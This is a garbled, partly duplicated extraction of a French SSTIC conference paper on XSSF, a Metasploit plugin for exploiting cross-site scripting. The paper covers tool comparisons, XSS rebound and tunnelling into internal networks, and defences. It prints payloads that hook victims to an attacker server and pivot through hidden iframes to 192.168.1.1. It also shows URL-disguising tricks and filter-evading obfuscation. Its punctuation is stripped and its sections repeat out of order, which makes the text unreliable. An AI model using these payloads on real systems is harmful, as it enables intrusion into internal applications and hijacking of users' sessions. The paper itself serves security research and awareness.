La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 23: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

